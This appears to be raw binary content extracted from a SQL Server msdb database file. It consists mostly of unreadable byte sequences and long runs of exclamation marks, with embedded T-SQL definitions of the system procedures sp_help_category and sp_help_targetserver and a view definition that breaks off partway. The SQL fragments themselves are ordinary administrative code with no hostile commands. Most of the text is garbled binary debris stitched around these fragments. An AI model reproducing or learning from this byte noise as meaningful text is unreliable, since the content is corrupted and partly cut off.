!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p^L:(






t
b
P
>
,


xfTB0|jXF4"







n
\
J
8
~D lZH6$z2&


							r	`	N	<	*			vdR@.
zhVD2 ~lZH6$p^L:(tbP>,xfTB0hV|jXF4"n\J8&r`

Kx!OM}LT"ҕ;9{ҕ;?r>ҕ;+=Eҕ;Gҕ;Hҕ;HIҕ;	?r>ҕ;	+=Eҕ;	daFҕ;	Gҕ;	֩Gҕ;	Hҕ;	HIҕ;	:Kҕ;	9{ҕ;
?r>ҕ;
+=Eҕ;
Gҕ;
Hҕ;?r>ҕ;+=Eҕ;Gҕ;Hҕ;?r>ҕ;+=Eҕ;Gҕ;Hҕ;
?r>ҕ;
+=Eҕ;
Gҕ;
Hҕ;
:K;I;nx;>W\;wK];?^<=T<UT<W~VT<UT<W~V<ɍ@<ɍ@~<0b{~<}~<0b{~<i|~<}~<0b{~<i|~<}~<0b{9I=r5=>9I=Y1?9I=}%@9I=[$l9I=?p!=i?!=ɍ@!=i?!=ɍ@
H+>p+?r>+D?r>H?r>:K?r>,M?r>eN?r>P?r>\mS?r>,M?r>eN?r>H?r>eN?r>\mS?r>eN?r>eN?r>eN?r>eN?r>	eN?r>
eN?r>+D?r>eN?r>
:K?r>
eN?r>
P?r>eNI>UI>W~VI>UI>W~VWE>HWE>i?WE>i?WE>i?
O>,^?S@^?Acf?\mS
s?L*S@@Z@6CZ@^LZ@6CZ@^LZ@6CZ@^LZ@6CZ@^LZ@6CZ@^LZ@6CZ@^LZ@6CZ@^L
@ݐ.@AA@BNd@7,@yI@f&bK@JVL@7\@tOg@|A>W\A>W\A>W\A>W\A>W\A>W\A>W\A>W\AqGAu}FAWAu}FAqGAh@DtAu}FAqGAu}FAh@DtAu}FAh@DtAu}FAh@DtAu}FAh@DtAu}FAWA	u}FA	W
,A/ALA7,"B"BN$"B`d8"BaD"BeE"BI"BJ"Bq}_M"BSN"B)V"BW"BN$"B`d8"BeE"Bq}_M"BSN"BW"B"B`d8"BeE"BI"BJ"BWwBUwBW~VwBUwBW~VwBUwBW~VwBW~VwB"U
eB&y0B|CyMC:WECTLCyMC:WEC0KC:WEC0KC:WEC0KC:WEC0KCTLWE>HWE>HWE>HWE>HWE>	H<)#=<)#=<)#=<)#=<	)#=A)#=A)#=A)#=A)#=A)#=A)#=A)#=A)#=!=bG1!=bG1!=bG1!=bG1!=bG1!=bG1!=bG1!=bG1;k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>	k%<

 <

 <

 <

 <

 <

 <

 <

 <	

 A

 A

 A

 A

 ;

 A!A!}%@ ")= "T< "}%@D#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p^L:(






t
b
P
>
,


xfTB0|jXF4"







n
\
J
8
&


						*	r	`	~N	l<	Z*	H		vdR@.
zr<hVD2 
z~lZH6$p^L:(VD2 tbP>,Nx6$fvdR@.TB0`h|jXF4"n\J8&r`K~"OvA;&m1gw&m1	sy&m1vO|&m1gw&m1	sy&m1vO|&m1gw&m1	sy&m1KR[{h23rna2U3rna2U3rna2U3rna2U3rna2U3rna2U3rna2	U3rna2U3rna2U3rna2
U3rna2U3rna2U3rna2U3rna2U3rna2U3_20s_2O_2L_2ϓ4_2Tt_2KR[{_2vO|_2O_2L_2ϓ4_2|6_2Tt_2KR[{_2vO|_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2	ϓ4U3TU3I4U3=5U3TU3I4U3=5U3TU3I4U3=5U3I4U3=5U3I4U3=5U3I4U3=5U3I4U3=5U3	I4U3	=5U3TU3I4U3=5U3I4U3=5U3I4U3=5U3I4U3=5Dj3(2;7Dj3}^4Dj3R5Dj3
G6Dj3u}FDj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3	}^4Dj3	R5Dj3	
G6Dj3
}^4Dj3
R5Dj3

G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3
}^4Dj3
R5Dj3

G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3(2;7Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3(2;7Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G633/3ƻ&3'39I=3Y1?3!s3#Ft3/3S3ƻ&3'3T<39I=3Y[3!s3q53#Ft3q53q53Y1?3.DR3XR8S3v,T3ʚ U3#Ft3Ux93Y1?3 tZ3Y[3#Ft3.DR3XR8S3v,T3ʚ U3#Ft3
q53
Y1?3
.DR3
XR8S3
v,T3
ʚ U3
#Ft3rna2k%rna2k%rna2k%rna2

 rna2

 rna2

 3 "3 "3D#3D#3D#3D#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p^L:(



l


t
b
P
>
,


ZxfTBH$06|jXF4"







n
\
J
8
&


							r	`	N	<	*			vdR@.
zhVD2 ~lZH6$p^L:(tbP>,xfTB0|jXF4"n\J8&r`()<(K04A* 8CREATE PROCEDURE sp_help_category
  @class  VARCHAR(8)   = 'JOB', -- JOB, ALERT or OPERATOR
  @type   VARCHAR(12)  = NULL,  -- LOCAL, MULTI-SERVER, or NONE
  @name   sysname      = NULL,
  @suffix BIT          = 0      -- 0 = no suffix, 1 = add suffix
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @type_in        VARCHAR(12)
  DECLARE @category_type  INT
  DECLARE @category_class INT
  DECLARE @where_clause   NVARCHAR(500)
  DECLARE @cmd            NVARCHAR(max)

  SET NOCOUNT ON

  -- Both name and type can be NULL (this is valid, indeed it is how SQLDMO populates
  -- the JobCategory collection)

  -- Remove any leading/trailing spaces from parameters
  SELECT @class = LTRIM(RTRIM(@class))
  SELECT @type  = LTRIM(RTRIM(@type))
  SELECT @name  = LTRIM(RTRIM(@name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@type = '') SELECT @type = NULL
  IF (@name = N'') SELECT @name = NULL

  -- Check the type and class
  IF (@class = 'JOB') AND (@type IS NULL)
    SELECT @type_in = 'LOCAL' -- This prevents sp_verify_category from failing
  ELSE
  IF (@class <> 'JOB') AND (@type IS NULL)
    SELECT @type_in = 'NONE'
  ELSE
    SELECT @type_in = @type

  EXECUTE @retval = sp_verify_category @class,
                                       @type_in,
                                       NULL,
                                       @category_class OUTPUT,
                                       @category_type  OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Make sure that 'suffix' is either 0 or 1
  IF (@suffix <> 0)
    SELECT @suffix = 1

  --check name - it should exist if not null
  IF @name IS NOT NULL AND
     NOT EXISTS(SELECT * FROM msdb.dbo.syscategories WHERE name = @name
      AND category_class = @category_class)
  BEGIN
      DECLARE @category_class_string NVARCHAR(25)
      SET @category_class_string = CAST(@category_class AS nvarchar(25))
      RAISERROR(14526, -1, -1, @name, @category_class_string)
      RETURN(1) -- Failure
  END
       

  -- Build the WHERE qualifier
  SELECT @where_clause = N'WHERE (category_class = ' + CONVERT(NVARCHAR, @category_class) + N') '
  IF (@name IS NOT NULL)
    SELECT @where_clause = @where_clause + N'AND (name = N' + QUOTENAME(@name, '''') + N') '
  IF (@type IS NOT NULL)
    SELECT @where_clause = @where_clause + N'AND (category_type = ' + CONVERT(NVARCHAR, @category_type) + N') '

  -- Construct the query
  SELECT @cmd = N'SELECT category_id, '
  IF (@suffix = 1)
  BEGIN
    SELECT @cmd = @cmd + N'''category_type'' = '
    SELECT @cmd = @cmd + N'CASE category_type '
    SELECT @cmd = @cmd + N'WHEN 0 THEN ''NONE'' '
    SELECT @cmd = @cmd + N'WHEN 1 THEN ''LOCAL'' '
    SELECT @cmd = @cmd + N'WHEN 2 THEN ''MULTI-SERVER'' '
    SELECT @cmd = @cmd + N'WHEN 3 THEN ''NONE'' '
    SELECT @cmd = @cmd + N'ELSE FORMATMESSAGE(14205) '
    SELECT @cmd = @cmd + N'END, '
  END
  ELSE
  BEGIN
    SELECT @cmd = @cmd + N'category_type, '
  END
  SELECT @cmd = @cmd + N'name '
  SELECT @cmd = @cmd + N'FROM msdb.dbo.syscategories '

  -- Execute the query
  EXECUTE (@cmd + @where_clause + N'ORDER BY category_type, name')

  RETURN(@@error) -- 0 means success
END
0C[* /8(suser_sname())0me
+ 8CREATE PROCEDURE sp_help_targetserver
  @server_name sysname = NULL
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  IF (@server_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.systargetservers
                    WHERE (UPPER(server_name) = @server_name)))
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END
  END

  DECLARE @unread_instructions TABLE
  (
  target_server       sysname COLLATE database_default,
  unread_instructions INT
  )

  INSERT INTO @unread_instructions
  SELECT target_server, COUNT(*)
  FROM msdb.dbo.sysdownloadlist
  WHERE (status = 0)
  GROUP BY target_server

  SELECT sts.server_id,
         sts.server_name,
         sts.location,
         sts.time_zone_adjustment,
         sts.enlist_date,
         sts.last_poll_date,
        'status' = sts.status |
                   CASE WHEN DATEDIFF(ss, sts.last_poll_date, GETDATE()) > (3 * sts.poll_interval) THEN 0x2 ELSE 0 END |
                   CASE WHEN ((SELECT COUNT(*)
                               FROM msdb.dbo.sysdownloadlist sdl
                               WHERE (sdl.target_server = sts.server_name)
                                 AND (sdl.error_message IS NOT NULL)) > 0) THEN 0x4 ELSE 0 END,
        'unread_instructions' = ISNULL(ui.unread_instructions, 0),
        'local_time' = DATEADD(SS, DATEDIFF(SS, sts.last_poll_date, GETDATE()), sts.local_time_at_last_poll),
        sts.enlisted_by_nt_user,
        sts.poll_interval
  FROM msdb.dbo.systargetservers sts LEFT OUTER JOIN
       @unread_instructions      ui  ON (sts.server_name = ui.target_server)
  WHERE ((@server_name IS NULL) OR (UPPER(sts.server_name) = @server_name))
  ORDER BY server_name

  RETURN(@@error) -- 0 means success
END
0|+ %8((0))0L* 8CREATE VIEW dbo.sysutility_ucp_deployed_dacs
AS
SELECT
   dacs.dac_id,    -- todo (VSTS #345036): This column will be removed
   dacs.dac_name,
   dacs.dac_deploy_date AS dac_deployed_date,
   dacs.dac_description AS dac_description,
   dacs.dac_percent_total_cpu_utilization AS dac_percent_total_cpu_utilization,
   dacs.server_instance_name AS dac_server_instance_name,
   dacs.physical_server_name AS dac_physical_server_name,
   dacs.batch_time AS dac_collection_time,
   dacs.processing_time AS dac_processing_time,
